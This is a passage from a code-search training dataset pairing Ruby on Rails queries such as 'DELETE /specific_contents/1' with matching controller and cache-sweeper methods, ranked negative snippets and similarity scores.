"def update\n @entry = Entry.find(params[:id])\n respond_to do |format|\n if @entry.update({\n content: params[:entry][:content],\n journal_id: params[:entry][:journal_id]\n })\n format.html { redirect_to @entry }\n format.json { render :show }\n else\n format.html { render :edit }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @content_partial = ContentPartial.find(params[:id])\n\n respond_to do |format|\n if @content_partial.update_attributes(params[:content_partial])\n format.html { redirect_to @content_partial, notice: 'Content partial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content_partial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @extra = Extra.find(params[:id])\n\n if @extra.update(extra_params)\n head :no_content\n else\n render json: @extra.errors, status: :unprocessable_entity\n end\n end",
"def update\n @main_content = MainContent.find(params[:id])\n\n respond_to do |format|\n if @main_content.update_attributes(params[:main_content])\n format.html { redirect_to :back, notice: 'Main content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @main_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sub_content.update(sub_content_params)\n format.html { redirect_to @sub_content, notice: 'Sub content was successfully updated.' }\n format.json { render :show, status: :ok, location: @sub_content }\n else\n format.html { render :edit }\n format.json { render json: @sub_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = current_user.contents.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to(@content, :notice => 'Content was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @content.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @content = args[:content] if args.key?(:content)\n end",
"def update!(**args)\n @content = args[:content] if args.key?(:content)\n end",
"def update!(**args)\n @content = args[:content] if args.key?(:content)\n end",
"def update!(**args)\n @content = args[:content] if args.key?(:content)\n end",
"def update\n @content = Content.find(params[:id])\n\n if @content.update(content_params)\n head :no_content\n else\n render json: @content.errors, status: :unprocessable_entity\n end\n end",
"def update\n @structure_content = Structure::Content.find(params[:id])\n\n respond_to do |format|\n if @structure_content.update_attributes(params[:structure_content])\n format.html { redirect_to @structure_content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @structure_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @content = args[:content] if args.key?(:content)\n @derived_struct_data = args[:derived_struct_data] if args.key?(:derived_struct_data)\n @id = args[:id] if args.key?(:id)\n @json_data = args[:json_data] if args.key?(:json_data)\n @name = args[:name] if args.key?(:name)\n @parent_document_id = args[:parent_document_id] if args.key?(:parent_document_id)\n @schema_id = args[:schema_id] if args.key?(:schema_id)\n @struct_data = args[:struct_data] if args.key?(:struct_data)\n end",
"def update\n @content = Content.find(params[:id])\n #Add Date Created, Date Modified\n @content.date_modified = Time.now\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, :notice => 'Content was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @content.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @content = args[:content] if args.key?(:content)\n @format = args[:format] if args.key?(:format)\n end",
"def update_question_content\n question_params = params.require(:question).permit(:id, :content)\n\n render json: Question.update_question_content(question_params)\n end"
] | [
"0.65502536",
"0.6412034",
"0.6412034",
"0.62519956",
"0.6236205",
"0.6212608",
"0.61509293",
"0.6125998",
"0.6106785",
"0.6099949",
"0.60364795",
"0.59812576",
"0.5919454",
"0.5911051",
"0.58881444",
"0.58881444",
"0.58881444",
"0.5868378",
"0.58640665",
"0.5860333",
"0.5860333",
"0.5860333",
"0.5860333",
"0.58508533",
"0.58493054",
"0.5847417",
"0.58452684",
"0.5839743",
"0.5839255",
"0.5837127"
] | 0.6428863 | 1 |
DELETE /specific_contents/1 DELETE /specific_contents/1.json | def destroy
@specific_content.destroy
respond_to do |format|
format.html { redirect_to specific_contents_url, notice: 'Specific content was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @structure_content = Structure::Content.find(params[:id])\n @structure_content.destroy\n\n respond_to do |format|\n format.html { redirect_to structure_contents_url }\n format.json { head :no_content }\n end\n end",
"def delete_content(params)\n delete(set_path(params[:id]), params) if validate_params(params)\n end",
"def destroy\n @main_content = MainContent.find(params[:id])\n @main_content.destroy\n\n respond_to do |format|\n format.html { redirect_to main_contents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to content_index_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @sub_content.destroy\n respond_to do |format|\n format.html { redirect_to sub_contents_url, notice: 'Sub content was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(x)\n @contents.delete x\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_path, notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to(contents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to(contents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @content = current_user.contents.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to(contents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n #@static_content = StaticContent.find(params[:id])\n #@static_content.destroy\n #\n #respond_to do |format|\n # format.html { redirect_to static_contents_url }\n # format.json { head :no_content }\n #end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to project_content_type_contents_path(@project, @content_type) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to app_contents_url, notice: 'Content was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url, notice: 'Content was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url, notice: 'Content was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url, notice: 'Content was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content = Content.find(params[:id])\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path, :notice => \"Successfully deleted content\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to contents_url, notice: t(\"general.successfully_destroyed\") }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content.destroy\n\n respond_to do |format|\n format.html { redirect_to_back_or teach_contents_url(@teach) }\n format.json { head :ok }\n end\n end",
"def remove_content(id)\n delete(\"/#{id}\")\n end",
"def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url, notice: \"Файл #{@content.title} был удалён\" }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end"
] | [
"0.73570955",
"0.70819217",
"0.70819217",
"0.70819217",
"0.7057439",
"0.7057439",
"0.7057439",
"0.7051132",
"0.68632936",
"0.6825476",
"0.6819089",
"0.67937404",
"0.67854166",
"0.6779004",
"0.6764315",
"0.67564523",
"0.67564523",
"0.6724143",
"0.6718644",
"0.66940707",
"0.669335",
"0.6688984",
"0.6688984",
"0.6688984",
"0.6665147",
"0.6662148",
"0.6647711",
"0.66186327",
"0.65892965",
"0.6586432"
] | 0.73604286 | 0 |
This sweeper is going to keep an eye on the IndicatorType model If our sweeper detects that a IndicatorType was created call this | def after_create(indicator_type)
# expire_cache_for(indicator_type)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @illness_type = IllnessType.new(illness_type_params)\n if @illness_type.save\n @illness_type = IllnessType.new\n @illness_types = IllnessType.all\n @flag=true \n else\n @flag=false\n end\n end",
"def indicator_state=(indicator_state); end",
"def type; self._type; end",
"def prep_not_picks(answer_type)\n write_attribute(:pick, \"none\")\n write_attribute(:display_type,\"default\")\n if self.answers.blank?\n #self.answers_attributes={'0'=>{'text'=>'default','response_class'=>answer_type, 'hide_label' => answer_type=='float' ? false : true}}\n self.answers_attributes={'0'=>{'text'=>'default','response_class'=>answer_type, 'display_type' => answer_type=='float' ? 'default' : 'hidden_label'}}\n else\n self.answers.first.response_class=answer_type\n #self.answers.first.hide_label = answer_type=='float' ? false : true\n self.answers.first.display_type = answer_type=='float' ? 'default' : 'hidden_label'\n end\n end",
"def indicator name, value\n @indicators[name.to_s] = value\n end",
"def type_lattice\n self.class\n end",
"def instance_type; end",
"def create\n identify.tap { type }\n end",
"def set_indicator\n @indicator = Indicator.find(params[:id])\n end",
"def set_indicator\n @indicator = Indicator.find(params[:id])\n end",
"def type() end",
"def get_type; raise NotImplementedError end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end"
] | [
"0.54596263",
"0.5400211",
"0.5343864",
"0.51274395",
"0.5096468",
"0.5071879",
"0.5052985",
"0.50362074",
"0.5020727",
"0.50197613",
"0.50023943",
"0.4998349",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573",
"0.4992573"
] | 0.55233943 | 0 |
If our sweeper detects that a IndicatorType was updated call this | def after_update(indicator_type)
expire_cache_for(indicator_type)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def indicator_state=(indicator_state); end",
"def update?\n update_indicator.eql?('U')\n end",
"def after_update(indicator)\n expire_cache_for(indicator)\n end",
"def update(instance)\n raise NotImplementedError, 'Expected adapter to override `update`'\n end",
"def update_state\r\n case @state\r\n when STATE_PICK\r\n @ip1.copy! @ip\r\n Sketchup::set_status_text \"[WALL] Click for end of wall\"\r\n Sketchup::set_status_text \"Length\", SB_VCB_LABEL\r\n Sketchup::set_status_text \"\", SB_VCB_VALUE\r\n @state = STATE_PICK_NEXT\r\n\twhen STATE_PICK_NEXT\r\n\t\tself.draw_wall\r\n\t\treset\r\n end\r\nend",
"def processPartialUpdate(viewer)\n # In this demo, we just need to redraw the chart\n drawChart(viewer)\n end",
"def _update_counts_after_update\n unless Array(Thread.current[:skip_counter_culture_updates]).include?(self.class)\n super\n end\n end",
"def update_status\n inds = self.indicators\n if inds.size == 0\n self.status=0.0\n else\n status = 0.0\n inds.each do |indicator|\n status += indicator.contributing_projects_status\n end\n self.status = status / inds.size\n end\n end",
"def after_update(core_indicator)\n expire_cache_for(core_indicator)\n end",
"def auto_update_status\n if self.criminal_date && self.child_abuse_date && self.fbi_date\n if self.status < 2\n self.status = 2\n end\n elsif self.status == 2\n self.status = 1\n end\n end",
"def update_status_to_processed\n fail 'child class to implement'\n end",
"def updated_data; end",
"def remote_update(*)\n super(changed)\n end",
"def update() end",
"def after_update(shape_type)\n expire_cache_for(shape_type)\n end",
"def set_observable_value_on_indicator\n self.indicators.each do |indicator|\n indicator.set_observable_value\n end\n end",
"def on_update; end",
"def update_status() \n ContentProviderStatusItem.update(self)\n end",
"def update_internal(time_factor)\n # Does nothing\n end",
"def notify_revealed(cell); end",
"def after_update; end",
"def after_update; end",
"def update\n @status_buttons.each do |i|\n i.update\n end\n end",
"def update\n raise NotImplementedError\n end",
"def update\n run_callbacks :update do\n true\n end\n end",
"def hook_recalculate_status(_hook_args, _event_args)\n recalculate_status\n end",
"def knx_update(status)\n # Find widget for actual device\n @widget = self.class.find_by_id(self.id)\n # Update widget status\n @widget.status = {position: (status.position * 100).to_i, slider_status: status.slider_status}\n # Send the update to all running sessions\n unless ActionCable.server.logger.nil?\n ActionCable.server.broadcast 'widgets', {type: \"progressBar\", id: self.id, status: @widget.status}\n end\n end",
"def callback bunchOfInformation\n puts bunchOfInformation['status'] if bunchOfInformation.has_key?('status')\n GUI.createInstance.updateWidgets(bunchOfInformation) if Configuration.guiEnabled\n end",
"def presence_changed(presence,status)\n @icon.pixbuf = image_for_presence presence\n @presence_image.pixbuf = image_for_presence presence\n end",
"def after_create(indicator_type)\n# expire_cache_for(indicator_type)\n end"
] | [
"0.5575622",
"0.55084574",
"0.5360028",
"0.52903414",
"0.52367",
"0.5220259",
"0.5165592",
"0.51418877",
"0.513922",
"0.51350677",
"0.5107527",
"0.5098657",
"0.50968736",
"0.5094345",
"0.508772",
"0.5068049",
"0.5060769",
"0.50414217",
"0.50373006",
"0.5027641",
"0.500357",
"0.500357",
"0.500223",
"0.49910077",
"0.49894893",
"0.49826607",
"0.49700248",
"0.49676576",
"0.4965168",
"0.49640423"
] | 0.6224537 | 0 |
If our sweeper detects that a IndicatorType was deleted call this | def after_destroy(indicator_type)
expire_cache_for(indicator_type)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def deletedaysedit\n end",
"def after_update(indicator_type)\n expire_cache_for(indicator_type)\n end",
"def _delete\n marked_for_destruction?\n end",
"def removed; status[:removed]; end",
"def after_destroy(indicator)\n expire_cache_for(indicator)\n end",
"def after_create(indicator_type)\n# expire_cache_for(indicator_type)\n end",
"def remove(type); end",
"def deleted\n @is_deleted = true\n end",
"def _delete_without_checking\n if @instance_filters && !@instance_filters.empty?\n _delete_dataset.delete \n else\n super\n end\n end",
"def delete_data_with_storage_name?\n type == :retired\n end",
"def after_destroy(core_indicator)\n expire_cache_for(core_indicator)\n end",
"def unsafe_forget_past!\n slices.values.map(&:history).each{|h| h.recent(memory_size)}\n\n if multi_slices?\n to_delete = slices.values.reject{|s| keep_slice?(s)}\n to_delete.map(&:rack_id).map do |rack_id| \n slices.delete(rack_id)\n end\n end\n end",
"def test_ok_to_delete\n assert_equal(false, Intensity.ok_to_delete?(2))\n assert_equal(false, Intensity.ok_to_delete?(1))\n #at this time, I have no intensity of type 3, but there are only 3 intensity ids in my current program\n # assert_equal(true, Intensity.ok_to_delete?(3))\n assert_equal(true, Intensity.ok_to_delete?(0))\n end",
"def on_deleted_sensor(&block)\n\t\t\t@on_deleted_sensor = block\n\t\tend",
"def delete_variable\n super\n end",
"def delete(type, key)\n require_writeable_layers!\n deleted = false\n layers.immediate.writeable.each do |layer|\n deleted = true if layer.delete(type, key)\n end\n if layers.delayed.writeable.any?\n Dis::Jobs::Delete.perform_later(type, key)\n end\n deleted\n end",
"def deleted; status[:deleted]; end",
"def after_destroy(shape_type)\n expire_cache_for(shape_type)\n end",
"def removed?\n\t\treturn self.status == 'R'\n\tend",
"def delete\n self.is_deleted = true\n self.deleted_datetime = DateTime.now \n self.save\n \n # revert the effect \n case self.transaction_entry_code\n when TRANSACTION_ENTRY_CODE[:weekly_saving] # in \n \n when TRANSACTION_ENTRY_CODE[:extra_weekly_saving] # in \n member.deduct_compulsory_savings( self ) \n when TRANSACTION_ENTRY_CODE[:soft_savings_withdrawal] # out \n member.add_extra_savings( self )\n end\n \n end",
"def removed; status[:removed] || []; end",
"def deleted\n @changed = true\n @deleted = true\n end",
"def on_delete(_event)\n self.tabcount = 0\n update_only if update_on_change\n end",
"def _delete_dataset\n apply_instance_filters(super)\n end",
"def delete_front()\n \n end",
"def removed?\n (status == REMOVED)\n end",
"def removed?\n (status == REMOVED)\n end",
"def removed?\n (status == REMOVED)\n end",
"def removed?\n (status == REMOVED)\n end",
"def removed?\n (status == REMOVED)\n end"
] | [
"0.58384854",
"0.5782335",
"0.5717284",
"0.5703652",
"0.56713504",
"0.5664185",
"0.56124896",
"0.55773056",
"0.5566837",
"0.5562461",
"0.5546288",
"0.5517347",
"0.54835457",
"0.5479567",
"0.54746956",
"0.54684526",
"0.54664713",
"0.5466425",
"0.5430374",
"0.53572714",
"0.53495383",
"0.5347795",
"0.5332197",
"0.5331872",
"0.5325356",
"0.5325223",
"0.5325223",
"0.5325223",
"0.5325223",
"0.5325223"
] | 0.6577595 | 0 |